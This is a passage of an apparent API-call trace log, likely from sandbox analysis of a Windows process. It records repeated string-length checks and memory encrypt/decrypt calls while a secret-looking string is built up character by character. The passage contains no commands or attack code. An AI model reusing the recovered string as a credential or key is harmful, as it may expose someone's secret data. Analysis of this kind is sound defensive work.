(param_1="\x325a\x480f\x621f\x5ef2\xfd53\xef16\x5076\xa06b\x9e8e\xde65\xd5af\x96b8\x5dbc\x7ad0\x6c1e\x4c8d") returned 0x10 [0135.417] SysStringLen (param_1="\x325a\x480f\x621f\x5ef2\xfd53\xef16\x5076\xa06b\x9e8e\xde65\xd5af\x96b8\x5dbc\x7ad0\x6c1e\x4c8d") returned 0x10 [0135.417] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.417] SysStringLen (param_1="RlMZ8LDHb8c忴㦓ﮃᖍ邸") returned 0x10 [0135.417] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.417] SysStringLen (param_1="\x325a\x480f\x621f\x5ef2\xfd53\xef16\x5076\xa06b\xbdbe\x2343\xda3a\xa14e\x23dc\x2c1d\x1b2\x7131") returned 0x10 [0135.417] SysStringLen (param_1="\x325a\x480f\x621f\x5ef2\xfd53\xef16\x5076\xa06b\xbdbe\x2343\xda3a\xa14e\x23dc\x2c1d\x1b2\x7131") returned 0x10 [0135.417] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.417] SysStringLen (param_1="RlMZ8LDHb8c/㦓ﮃᖍ邸") returned 0x10 [0135.417] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.417] SysStringLen (param_1="\x325a\x480f\x621f\x5ef2\xfd53\xef16\x5076\xa06b\x6ad6\x608d\x9e1b\x6738\x9a44\xc693\xdc5a\x8b5e") returned 0x10 [0135.417] SysStringLen (param_1="\x325a\x480f\x621f\x5ef2\xfd53\xef16\x5076\xa06b\x6ad6\x608d\x9e1b\x6738\x9a44\xc693\xdc5a\x8b5e") returned 0x10 [0135.417] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.418] SysStringLen (param_1="RlMZ8LDHb8c/Rﮃᖍ邸") returned 0x10 [0135.418] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.418] SysStringLen (param_1="\x325a\x480f\x621f\x5ef2\xfd53\xef16\x5076\xa06b\x1be8\xa8a1\x5cd3\x7da2\xdc2d\xf1b4\x5ad5\xa326") returned 0x10 [0135.418] SysStringLen (param_1="\x325a\x480f\x621f\x5ef2\xfd53\xef16\x5076\xa06b\x1be8\xa8a1\x5cd3\x7da2\xdc2d\xf1b4\x5ad5\xa326") returned 0x10 [0135.418] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.418] SysStringLen (param_1="RlMZ8LDHb8c/RYᖍ邸") returned 0x10 [0135.418] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.418] SysStringLen (param_1="\x325a\x480f\x621f\x5ef2\xfd53\xef16\x5076\xa06b\xbe81\x8fb3\xa0b\xe25d\xadb6\xad38\x14b8\x24c8") returned 0x10 [0135.419] SysStringLen (param_1="\x325a\x480f\x621f\x5ef2\xfd53\xef16\x5076\xa06b\xbe81\x8fb3\xa0b\xe25d\xadb6\xad38\x14b8\x24c8") returned 0x10 [0135.419] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.419] SysStringLen (param_1="RlMZ8LDHb8c/RYv邸") returned 0x10 [0135.419] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.419] SysStringLen (param_1="\x325a\x480f\x621f\x5ef2\xfd53\xef16\x5076\xa06b\x1eda\x420c\xb3f8\x3a19\x5ba\x1e2b\x1508\xdae7") returned 0x10 [0135.419] SysStringLen (param_1="\x325a\x480f\x621f\x5ef2\xfd53\xef16\x5076\xa06b\x1eda\x420c\xb3f8\x3a19\x5ba\x1e2b\x1508\xdae7") returned 0x10 [0135.419] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.419] SysStringLen (param_1="RlMZ8LDHb8c/RYvU") returned 0x10 [0135.419] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.419] SysStringLen (param_1="\x325a\x480f\x621f\x5ef2\xfd53\xef16\x5076\xa06b\xb32b\x9da\x4804\xd5bb\x8264\x5a10\xf8a5\x2bbd") returned 0x10 [0135.419] SysStringLen (param_1="\x325a\x480f\x621f\x5ef2\xfd53\xef16\x5076\xa06b\xb32b\x9da\x4804\xd5bb\x8264\x5a10\xf8a5\x2bbd") returned 0x10 [0135.419] SysStringLen (param_1="\x325a\x480f\x621f\x5ef2\xfd53\xef16\x5076\xa06b\xb32b\x9da\x4804\xd5bb\x8264\x5a10\xf8a5\x2bbd") returned 0x10 [0135.419] SysStringLen (param_1="\x325a\x480f\x621f\x5ef2\xfd53\xef16\x5076\xa06b\xb32b\x9da\x4804\xd5bb\x8264\x5a10\xf8a5\x2bbd") returned 0x18 [0135.419] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.419] SysStringLen (param_1="RlMZ8LDHb8c/RYvUKৰ㭌풽䚤亅뵞᭮") returned 0x18 [0135.419] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.419] SysStringLen (param_1="\x325a\x480f\x621f\x5ef2\xfd53\xef16\x5076\xa06b\xb32b\x9da\x4804\xd5bb\x8264\x5a10\xf8a5\x2bbd\x932d\xd63\x2847\x3363\xb731\x9600\x5109\xfdd9") returned 0x18 [0135.419] SysStringLen (param_1="\x325a\x480f\x621f\x5ef2\xfd53\xef16\x5076\xa06b\xb32b\x9da\x4804\xd5bb\x8264\x5a10\xf8a5\x2bbd\x932d\xd63\x2847\x3363\xb731\x9600\x5109\xfdd9") returned 0x18 [0135.419] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.419] SysStringLen (param_1="RlMZ8LDHb8c/RYvUKz㭌풽䚤亅뵞᭮") returned 0x18 [0135.419] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.420] SysStringLen (param_1="\x325a\x480f\x621f\x5ef2\xfd53\xef16\x5076\xa06b\xb32b\x9da\x4804\xd5bb\x8264\x5a10\xf8a5\x2bbd\xd04f\x9cad\xb5be\x8936\x7b4b\x2cfb\xd5cd\x5cfd") returned 0x18 [0135.420] SysStringLen (param_1="\x325a\x480f\x621f\x5ef2\xfd53\xef16\x5076\xa06b\xb32b\x9da\x4804\xd5bb\x8264\x5a10\xf8a5\x2bbd\xd04f\x9cad\xb5be\x8936\x7b4b\x2cfb\xd5cd\x5cfd") returned 0x18 [0135.420] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.420] SysStringLen (param_1="RlMZ8LDHb8c/RYvUKz1풽䚤亅뵞᭮") returned 0x18 [0135.420] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.420] SysStringLen (param_1="\x325a\x480f\x621f\x5ef2\xfd53\xef16\x5076\xa06b\xb32b\x9da\x4804\xd5bb\x8264\x5a10\xf8a5\x2bbd\x89bb\x8c6e\x53e8\xe6a4\xe976\xe04b\x5282\x243e") returned 0x18 [0135.420] SysStringLen (param_1="\x325a\x480f\x621f\x5ef2\xfd53\xef16\x5076\xa06b\xb32b\x9da\x4804\xd5bb\x8264\x5a10\xf8a5\x2bbd\x89bb\x8c6e\x53e8\xe6a4\xe976\xe04b\x5282\x243e") returned 0x18 [0135.420] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.420] SysStringLen (param_1="RlMZ8LDHb8c/RYvUKz1g䚤亅뵞᭮") returned 0x18 [0135.420] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.420] SysStringLen (param_1="\x325a\x480f\x621f\x5ef2\xfd53\xef16\x5076\xa06b\xb32b\x9da\x4804\xd5bb\x8264\x5a10\xf8a5\x2bbd\x7a31\x3baf\x709b\x3fb9\xfb98\x1065\xb04d\xd661") returned 0x18 [0135.420] SysStringLen (param_1="\x325a\x480f\x621f\x5ef2\xfd53\xef16\x5076\xa06b\xb32b\x9da\x4804\xd5bb\x8264\x5a10\xf8a5\x2bbd\x7a31\x3baf\x709b\x3fb9\xfb98\x1065\xb04d\xd661") returned 0x18 [0135.420] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.420] SysStringLen (param_1="RlMZ8LDHb8c/RYvUKz1ga亅뵞᭮") returned 0x18 [0135.420] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.420] SysStringLen (param_1="\x325a\x480f\x621f\x5ef2\xfd53\xef16\x5076\xa06b\xb32b\x9da\x4804\xd5bb\x8264\x5a10\xf8a5\x2bbd\xe56a\xff25\x554f\x4fe4\x6139\x4ef2\x3ec7\x92af") returned 0x18 [0135.420] SysStringLen (param_1="\x325a\x480f\x621f\x5ef2\xfd53\xef16\x5076\xa06b\xb32b\x9da\x4804\xd5bb\x8264\x5a10\xf8a5\x2bbd\xe56a\xff25\x554f\x4fe4\x6139\x4ef2\x3ec7\x92af") returned 0x18 [0135.420] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.420] SysStringLen (param_1="RlMZ8LDHb8c/RYvUKz1gaQ뵞᭮") returned 0x18 [0135.420] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.420] SysStringLen (param_1="\x325a\x480f\x621f\x5ef2\xfd53\xef16\x5076\xa06b\xb32b\x9da\x4804\xd5bb\x8264\x5a10\xf8a5\x2bbd\xb017\x5776\xcf92\x5fb8\x4b09\xeb73\x698\x79cb") returned 0x18 [0135.420] SysStringLen (param_1="\x325a\x480f\x621f\x5ef2\xfd53\xef16\x5076\xa06b\xb32b\x9da\x4804\xd5bb\x8264\x5a10\xf8a5\x2bbd\xb017\x5776\xcf92\x5fb8\x4b09\xeb73\x698\x79cb") returned 0x18 [0135.420] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.421] SysStringLen (param_1="RlMZ8LDHb8c/RYvUKz1gaQN᭮") returned 0x18 [0135.421] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.421] SysStringLen (param_1="\x325a\x480f\x621f\x5ef2\xfd53\xef16\x5076\xa06b\xb32b\x9da\x4804\xd5bb\x8264\x5a10\xf8a5\x2bbd\x27e1\xae1b\x2866\xdd6a\x431c\x5f8c\xd904\x2aee") returned 0x18 [0135.421] SysStringLen (param_1="\x325a\x480f\x621f\x5ef2\xfd53\xef16\x5076\xa06b\xb32b\x9da\x4804\xd5bb\x8264\x5a10\xf8a5\x2bbd\x27e1\xae1b\x2866\xdd6a\x431c\x5f8c\xd904\x2aee") returned 0x18 [0135.421] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.421] SysStringLen (param_1="RlMZ8LDHb8c/RYvUKz1gaQN4") returned 0x18 [0135.421] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.421] SysStringLen (param_1="\x325a\x480f\x621f\x5ef2\xfd53\xef16\x5076\xa06b\xb32b\x9da\x4804\xd5bb\x8264\x5a10\xf8a5\x2bbd\x394e\x33ec\x1ab9\x8e3\xcca\xb7e9\xa661\x7b20") returned 0x18 [0135.421] SysStringLen (param_1="\x325a\x480f\x621f\x5ef2\xfd53\xef16\x5076\xa06b\xb32b\x9da\x4804\xd5bb\x8264\x5a10\xf8a5\x2bbd\x394e\x33ec\x1ab9\x8e3\xcca\xb7e9\xa661\x7b20") returned 0x18 [0135.421] SysStringLen (param_1="\x325a\x480f\x621f\x5ef2\xfd53\xef16\x5076\xa06b\xb32b\x9da\x4804\xd5bb\x8264\x5a10\xf8a5\x2bbd\x394e\x33ec\x1ab9\x8e3\xcca\xb7e9\xa661\x7b20") returned 0x18 [0135.421] SysStringLen (param_1="\x325a\x480f\x621f\x5ef2\xfd53\xef16\x5076\xa06b\xb32b\x9da\x4804\xd5bb\x8264\x5a10\xf8a5\x2bbd\x394e\x33ec\x1ab9\x8e3\xcca\xb7e9\xa661\x7b20") returned 0x20 [0135.421] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.421] SysStringLen (param_1="RlMZ8LDHb8c/RYvUKz1gaQN4/㏆槱৥젊ꍼ䯳") returned 0x20 [0135.421] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.421] SysStringLen (param_1="\x325a\x480f\x621f\x5ef2\xfd53\xef16\x5076\xa06b\xb32b\x9da\x4804\xd5bb\x8264\x5a10\xf8a5\x2bbd\x394e\x33ec\x1ab9\x8e3\xcca\xb7e9\xa661\x7b20\xb1df\xf7a2\x1429\x3013\x43f5\xd363\x40a3\xc619") returned 0x20 [0135.421] SysStringLen (param_1="\x325a\x480f\x621f\x5ef2\xfd53\xef16\x5076\xa06b\xb32b\x9da\x4804\xd5bb\x8264\x5a10\xf8a5\x2bbd\x394e\x33ec\x1ab9\x8e3\xcca\xb7e9\xa661\x7b20\xb1df\xf7a2\x1429\x3013\x43f5\xd363\x40a3\xc619") returned 0x20 [0135.421] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.421] SysStringLen (param_1="RlMZ8LDHb8c/RYvUKz1gaQN4/y槱৥젊ꍼ䯳") returned 0x20 [0135.421] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.421] SysStringLen (param_1="\x325a\x480f\x621f\x5ef2\xfd53\xef16\x5076\xa06b\xb32b\x9da\x4804\xd5bb\x8264\x5a10\xf8a5\x2bbd\x394e\x33ec\x1ab9\x8e3\xcca\xb7e9\xa661\x7b20\xa8d8\x739b\x6a22\x95d5\x2710\xd4b0\x762f\xc402") returned 0x20 [0135.421] SysStringLen (param_1="\x325a\x480f\x621f\x5ef2\xfd53\xef16\x5076\xa06b\xb32b\x9da\x4804\xd5bb\x8264\x5a10\xf8a5\x2bbd\x394e\x33ec\x1ab9\x8e3\xcca\xb7e9\xa661\x7b20\xa8d8\x739b\x6a22\x95d5\x2710\xd4b0\x762f\xc402") returned 0x20 [0135.421] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.421] SysStringLen (param_1="RlMZ8LDHb8c/RYvUKz1gaQN4/yk৥젊ꍼ䯳") returned 0x20 [0135.422] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.422] SysStringLen (param_1="\x325a\x480f\x621f\x5ef2\xfd53\xef16\x5076\xa06b\xb32b\x9da\x4804\xd5bb\x8264\x5a10\xf8a5\x2bbd\x394e\x33ec\x1ab9\x8e3\xcca\xb7e9\xa661\x7b20\xe1a1\xfcc5\x1e7b\x2d55\x61fb\x8d96\xe50c\xf572") returned 0x20 [0135.422] SysStringLen (param_1="\x325a\x480f\x621f\x5ef2\xfd53\xef16\x5076\xa06b\xb32b\x9da\x4804\xd5bb\x8264\x5a10\xf8a5\x2bbd\x394e\x33ec\x1ab9\x8e3\xcca\xb7e9\xa661\x7b20\xe1a1\xfcc5\x1e7b\x2d55\x61fb\x8d96\xe50c\xf572") returned 0x20 [0135.422] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.422] SysStringLen (param_1="RlMZ8LDHb8c/RYvUKz1gaQN4/yke젊ꍼ䯳") returned 0x20 [0135.422] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.422] SysStringLen (param_1="\x325a\x480f\x621f\x5ef2\xfd53\xef16\x5076\xa06b\xb32b\x9da\x4804\xd5bb\x8264\x5a10\xf8a5\x2bbd\x394e\x33ec\x1ab9\x8e3\xcca\xb7e9\xa661\x7b20\x2383\x85b2\x329e\xc631\x4241\xcf1a\xb244\x884a") returned 0x20 [0135.422] SysStringLen (param_1="\x325a\x480f\x621f\x5ef2\xfd53\xef16\x5076\xa06b\xb32b\x9da\x4804\xd5bb\x8264\x5a10\xf8a5\x2bbd\x394e\x33ec\x1ab9\x8e3\xcca\xb7e9\xa661\x7b20\x2383\x85b2\x329e\xc631\x4241\xcf1a\xb244\x884a") returned 0x20 [0135.422] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.422] SysStringLen (param_1="RlMZ8LDHb8c/RYvUKz1gaQN4/yke8ꍼ䯳") returned 0x20 [0135.422] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.422] SysStringLen (param_1="\x325a\x480f\x621f\x5ef2\xfd53\xef16\x5076\xa06b\xb32b\x9da\x4804\xd5bb\x8264\x5a10\xf8a5\x2bbd\x394e\x33ec\x1ab9\x8e3\xcca\xb7e9\xa661\x7b20\x3b3d\x4018\xf04a\xb574\xfde5\x9ddd\xeab\x2f5e") returned 0x20 [0135.422] SysStringLen (param_1="\x325a\x480f\x621f\x5ef2\xfd53\xef16\x5076\xa06b\xb32b\x9da\x4804\xd5bb\x8264\x5a10\xf8a5\x2bbd\x394e\x33ec\x1ab9\x8e3\xcca\xb7e9\xa661\x7b20\x3b3d\x4018\xf04a\xb574\xfde5\x9ddd\xeab\x2f5e") returned 0x20 [0135.422] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.422] SysStringLen (param_1="RlMZ8LDHb8c/RYvUKz1gaQN4/yke83䯳") returned 0x20 [0135.422] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.422] SysStringLen (param_1="\x325a\x480f\x621f\x5ef2\xfd53\xef16\x5076\xa06b\xb32b\x9da\x4804\xd5bb\x8264\x5a10\xf8a5\x2bbd\x394e\x33ec\x1ab9\x8e3\xcca\xb7e9\xa661\x7b20\x6a32\xe9bc\x1ff7\x9132\x92a8\xfb32\xfd85\xa77f") returned 0x20 [0135.422] SysStringLen (param_1="\x325a\x480f\x621f\x5ef2\xfd53\xef16\x5076\xa06b\xb32b\x9da\x4804\xd5bb\x8264\x5a10\xf8a5\x2bbd\x394e\x33ec\x1ab9\x8e3\xcca\xb7e9\xa661\x7b20\x6a32\xe9bc\x1ff7\x9132\x92a8\xfb32\xfd85\xa77f") returned 0x20 [0135.422] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.422] SysStringLen (param_1="RlMZ8LDHb8c/RYvUKz1gaQN4/yke835䯳") returned 0x20 [0135.422] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.422] SysStringLen (param_1="\x325a\x480f\x621f\x5ef2\xfd53\xef16\x5076\xa06b\xb32b\x9da\x4804\xd5bb\x8264\x5a10\xf8a5\x2bbd\x394e\x33ec\x1ab9\x8e3\xcca\xb7e9\xa661\x7b20\x6516\x2d11\x5215\x7342\xa19d\xdeda\x5cf0\x4ad7") returned 0x20 [0135.422] SysStringLen (param_1="\x325a\x480f\x621f\x5ef2\xfd53\xef16\x5076\xa06b\xb32b\x9da\x4804\xd5bb\x8264\x5a10\xf8a5\x2bbd\x394e\x33ec\x1ab9\x8e3\xcca\xb7e9\xa661\x7b20\x6516\x2d11\x5215\x7342\xa19d\xdeda\x5cf0\x4ad7") returned 0x20 [0135.422] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.423] SysStringLen (param_1="RlMZ8LDHb8c/RYvUKz1gaQN4/yke835k") returned 0x20 [0135.423] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.423] SysStringLen (param_1="\x325a\x480f\x621f\x5ef2\xfd53\xef16\x5076\xa06b\xb32b\x9da\x4804\xd5bb\x8264\x5a10\xf8a5\x2bbd\x394e\x33ec\x1ab9\x8e3\xcca\xb7e9\xa661\x7b20\x441\x6ff8\x8fc9\x415d\x67e8\xeb07\x13f3\x80fb") returned 0x20 [0135.423] SysStringLen (param_1="\x325a\x480f\x621f\x5ef2\xfd53\xef16\x5076\xa06b\xb32b\x9da\x4804\xd5bb\x8264\x5a10\xf8a5\x2bbd\x394e\x33ec\x1ab9\x8e3\xcca\xb7e9\xa661\x7b20\x441\x6ff8\x8fc9\x415d\x67e8\xeb07\x13f3\x80fb") returned 0x20 [0135.423] SysStringLen (param_1="\x325a\x480f\x621f\x5ef2\xfd53\xef16\x5076\xa06b\xb32b\x9da\x4804\xd5bb\x8264\x5a10\xf8a5\x2bbd\x394e\x33ec\x1ab9\x8e3\xcca\xb7e9\xa661\x7b20\x441\x6ff8\x8fc9\x415d\x67e8\xeb07\x13f3\x80fb") returned 0x20 [0135.423] SysStringLen (param_1="\x325a\x480f\x621f\x5ef2\xfd53\xef16\x5076\xa06b\xb32b\x9da\x4804\xd5bb\x8264\x5a10\xf8a5\x2bbd\x394e\x33ec\x1ab9\x8e3\xcca\xb7e9\xa661\x7b20\x441\x6ff8\x8fc9\x415d\x67e8\xeb07\x13f3\x80fb\x519b") returned 0x28 [0135.423] SystemFunction041 (in: Memory=0x4383d94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383d94) returned 0x0 [0135.423] SysStringLen (param_1="RlMZ8LDHb8c/RYvUKz1gaQN4/yke835k6⾤棗ˊ퇃") returned 0x28 [0135.423] SystemFunction040 (in: Memory=0x4383d94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383d94) returned 0x0 [0135.423] SysStringLen (param_1="\x325a\x480f\x621f\x5ef2\xfd53\xef16\x5076\xa06b\xb32b\x9da\x4804\xd5bb\x8264\x5a10\xf8a5\x2bbd\x394e\x33ec\x1ab9\x8e3\xcca\xb7e9\xa661\x7b20\x441\x6ff8\x8fc9\x415d\x67e8\xeb07\x13f3\x80fb\x7a7\x576d\x223a\x3549\x432\x6b89\x8bd7\xad40") returned 0x28 [0135.423] SysStringLen (param_1="\x325a\x480f\x621f\x5ef2\xfd53\xef16\x5076\xa06b\xb32b\x9da\x4804\xd5bb\x8264\x5a10\xf8a5\x2bbd\x394e\x33ec\x1ab9\x8e3\xcca\xb7e9\xa661\x7b20\x441\x6ff8\x8fc9\x415d\x67e8\xeb07\x13f3\x80fb\x7a7\x576d\x223a\x3549\x432\x6b89\x8bd7\xad40") returned 0x28 [0135.423] SystemFunction041 (in: Memory=0x4383d94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383d94) returned 0x0 [0135.423] SysStringLen (param_1="RlMZ8LDHb8c/RYvUKz1gaQN4/yke835k64棗ˊ퇃") returned 0x28 [0135.423] SystemFunction040 (in: Memory=0x4383d94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383d94) returned 0x0 [0135.423] SysStringLen (param_1="\x325a\x480f\x621f\x5ef2\xfd53\xef16\x5076\xa06b\xb32b\x9da\x4804\xd5bb\x8264\x5a10\xf8a5\x2bbd\x394e\x33ec\x1ab9\x8e3\xcca\xb7e9\xa661\x7b20\x441\x6ff8\x8fc9\x415d\x67e8\xeb07\x13f3\x80fb\x94f5\x9c04\x15d4\x7e3c\x2017\x1aad\xc2b2\xbcc2") returned 0x28 [0135.423] SysStringLen (param_1="\x325a\x480f\x621f\x5ef2\xfd53\xef16\x5076\xa06b\xb32b\x9da\x4804\xd5bb\x8264\x5a10\xf8a5\x2bbd\x394e\x33ec\x1ab9\x8e3\xcca\xb7e9\xa661\x7b20\x441\x6ff8\x8fc9\x415d\x67e8\xeb07\x13f3\x80fb\x94f5\x9c04\x15d4\x7e3c\x2017\x1aad\xc2b2\xbcc2") returned 0x28 [0135.423] SystemFunction041 (in: Memory=0x4383d94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383d94) returned 0x0 [0135.423] SysStringLen (param_1="RlMZ8LDHb8c/RYvUKz1gaQN4/yke835k64Vˊ퇃") returned 0x28 [0135.423] SystemFunction040 (in: Memory=0x4383d94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383d94) returned 0x0 [0135.423] SysStringLen (param_1="\x325a\x480f\x621f\x5ef2\xfd53\xef16\x5076\xa06b\xb32b\x9da\x4804\xd5bb\x8264\x5a10\xf8a5\x2bbd\x394e\x33ec\x1ab9\x8e3\xcca\xb7e9\xa661\x7b20\x441\x6ff8\x8fc9\x415d\x67e8\xeb07\x13f3\x80fb\x56c9\xb5a3\x7025\x2564\x1729\xec33\x724c\xfaf2") returned 0x28 [0135.423] SysStringLen (param_1="\x325a\x480f\x621f\x5ef2\xfd53\xef16\x5076\xa06b\xb32b\x9da\x4804\xd5bb\x8264\x5a10\xf8a5\x2bbd\x394e\x33ec\x1ab9\x8e3\xcca\xb7e9\xa661\x7b20\x441\x6ff8\x8fc9\x415d\x67e8\xeb07\x13f3\x80fb\x56c9\xb5a3\x7025\x2564\x1729\xec33\x724c\xfaf2") returned 0x28 [0135.423] SystemFunction041 (in: Memory=0x4383d94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383d94) returned 0x0 [0135.423] SysStringLen (param_1="RlMZ8LDHb8c/RYvUKz1gaQN4/yke835k64Veˊ퇃") returned 0x28 [0135.424] SystemFunction040 (in: Memory=0x4383d94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383d94) returned 0x0 [0135.424] SysStringLen (param_1="\x325a\x480f\x621f\x5ef2\xfd53\xef16\x5076\xa06b\xb32b\x9da\x4804\xd5bb\x8264\x5a10\xf8a5\x2bbd\x394e\x33ec\x1ab9\x8e3\xcca\xb7e9\xa661\x7b20\x441\x6ff8\x8fc9\x415d\x67e8\xeb07\x13f3\x80fb\xc805\x1c17\x93b2\x9a41\x6386\xa5ca\xef47\x693a") returned 0x28 [0135.424] SysStringLen (param_1="\x325a\x480f\x621f\x5ef2\xfd53\xef16\x5076\xa06b\xb32b\x9da\x4804\xd5bb\x8264\x5a10\xf8a5\x2bbd\x394e\x33ec\x1ab9\x8e3\xcca\xb7e9\xa661\x7b20\x441\x6ff8\x8fc9\x415d\x67e8\xeb07\x13f3\x80fb\xc805\x1c17\x93b2\x9a41\x6386\xa5ca\xef47\x693a") returned 0x28 [0135.424] SystemFunction041 (in: Memory=0x4383d94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383d94) returned 0x0 [0135.424] SysStringLen (param_1="RlMZ8LDHb8c/RYvUKz1gaQN4/yke835k64VeZ퇃") returned 0x28 [0135.424] SystemFunction040 (in: Memory=0x4383d94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383d94) returned 0x0 [0135.424] SysStringLen (param_1="\x325a\x480f\x621f\x5ef2\xfd53\xef16\x5076\xa06b\xb32b\x9da\x4804\xd5bb\x8264\x5a10\xf8a5\x2bbd\x394e\x33ec\x1ab9\x8e3\xcca\xb7e9\xa661\x7b20\x441\x6ff8\x8fc9\x415d\x67e8\xeb07\x13f3\x80fb\x387\xbcad\xa6c3\x525b\xa0b6\x3e27\x3a25\x3cd9") returned 0x28 [0135.424] SysStringLen (param_1="\x325a\x480f\x621f\x5ef2\xfd53\xef16\x5076\xa06b\xb32b\x9da\x4804\xd5bb\x8264\x5a10\xf8a5\x2bbd\x394e\x33ec\x1ab9\x8e3\xcca\xb7e9\xa661\x7b20\x441\x6ff8\x8fc9\x415d\x67e8\xeb07\x13f3\x80fb\x387\xbcad\xa6c3\x525b\xa0b6\x3e27\x3a25\x3cd9") returned 0x28 [0135.424] SystemFunction041 (in: Memory=0x4383d94, 